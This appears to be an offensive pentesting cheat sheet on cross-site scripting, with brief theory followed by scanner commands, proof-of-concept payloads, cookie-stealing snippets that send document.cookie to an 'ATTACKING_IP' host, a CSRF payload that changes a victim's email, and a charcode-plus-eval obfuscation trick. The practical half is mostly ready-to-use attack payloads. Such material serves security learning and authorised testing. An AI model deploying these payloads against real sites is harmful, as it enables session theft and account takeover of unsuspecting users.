XSS (Cross-Site Scripting)

Theory

Cross-Site Scripting (XSS) is a security vulnerability that occurs when an application includes untrusted data in a web page. Attackers can inject malicious scripts into web pages viewed by other users. These scripts execute in the context of a user's browser, which can lead to a wide range of attacks, such as stealing cookies, session tokens, or sensitive data, defacing websites, or redirecting users to malicious sites.

There are three major types of XSS:

• Stored XSS: The injected payload is permanently stored on the server and served to other users when they access the page.

• Reflected XSS: The payload is included in the page as a result of a user action, like clicking on a malicious link or submitting a form.

• DOM-based XSS: while stored and reflected XSS attacks exploit vulnerabilities in the server-side code, a DOM-based XSS exploits client-side ones (e.g. JavaScript used to help dynamically render a page). DOM-based XSS usually affect user inputs that are temporarily reflected, just like reflected XSS attacks.

Practice

Tools

XSStrike

XSStrike (Python) can be used to scan website for XSS

python xsstrike.py -u https://target.url/

XSSer

XSSer (Python) is a tool that can detect, exploit and report XSS vulnerabilities on a web application

# --Cl : Crawl only local target(s)
# -c : Number of urls to crawl on target(s)
# --Cw: Deeping level of crawler: 1-5
# -s: show advanced statistics output results
# --auto: Inject a list of vectors provided by XSSer
# --xml: Export to XML
python xsser -u https://target.url -c 50 --Cw 1 --Cl -s --threads 5 --timeout 30 --retries 1 --delay 0 --auto --xml out.xml

toxssIn

toxssin (Python) is an open-source penetration testing tool that automates the process of exploiting Cross-Site Scripting (XSS) vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool (toxin.js).

# Generate certificates
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Start toxssin server
python3 toxssin.py -u https://your.domain.com -c /your/certificate.pem -k /your/privkey.pem

On the target side, XSS payload should looks like:

<script url="https://your.domain.com/handler.js"></script>

Enumeration - Find XSS Vulnerabilities

We have to identify input vectors that may not be properly sanitized and that are stored or reflected. For example:

• URI parameters for reflected and DOM-based XSS

• Other user inputs in forums, chats, comments, posts, and other stored content for stored XSS

• HTTP headers like Cookies (and even User-Agents in some cases)

We can input special characters and observe the output to determine if any of the special characters return unfiltered. The most common special characters used for this purpose include:

< > ' " { } ;

The following website (or Github) can assist in recognizing the alterations made to user inputs, which can aid in circumventing filters and modifications, enabling the exploitation of XSS vulnerabilities.

Payloads

PoC

Generally we will use following payloads as a proof of concept. It will open an alert window.

<script>alert('XSS');</script>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG onmouseover="alert('XSS')">
<<SCRIPT>alert("XSS");//<</SCRIPT>

Stealing Cookies

We may send back user cookies to our own webserver using following payloads

<script>var i=new Image;i.src="http://ATTACKING_IP/?"+document.cookie;</script>
<img src=x onerror=this.src='http://ATTACKING_IP/?'+document.cookie;>
<img src=x onerror="this.src='http://ATTACKING_IP/?'+document.cookie; this.removeAttribute('onerror');">

On the attacking webserver, we may use XSS-cookie-stealer.py to logs each inbound HTTP connection and all the cookies contained in that connection.

The HttpOnly flag instructs the browser to deny JavaScript access to the cookie. If this flag is set, we won't be able to steal the cookies.

CSRF

We may use an XSS vulnerability to perform a CSRF (Cross-Site-Request-Forgery) and make actions on behalf of the user.

#Exemple from https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=[e-mail]')
};
</script>

We may improve our payload for more reliability. First, compress it using this website, and then past it as the following encode_to_javascript function argument

function encode_to_javascript(string) {
            var input = string
            var output = '';
            for(pos = 0; pos < input.length; pos++) {
                output += input.charCodeAt(pos);
                if(pos != (input.length - 1)) {
                    output += ",";
                }
            }
            return output;
        }
        
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)

Run the function and copy result (charcode) to our final payload

<script>eval(String.fromCharCode(121,19,32 [...] 120,95,42,31))</script>

Resources

Cross Site Scripting (XSS) Software Attack | OWASP Foundation

What is cross-site scripting (XSS) and how to prevent it? | Web Security AcademyWebSecAcademy

XSS (Cross-Site Scripting)The Hacker Recipes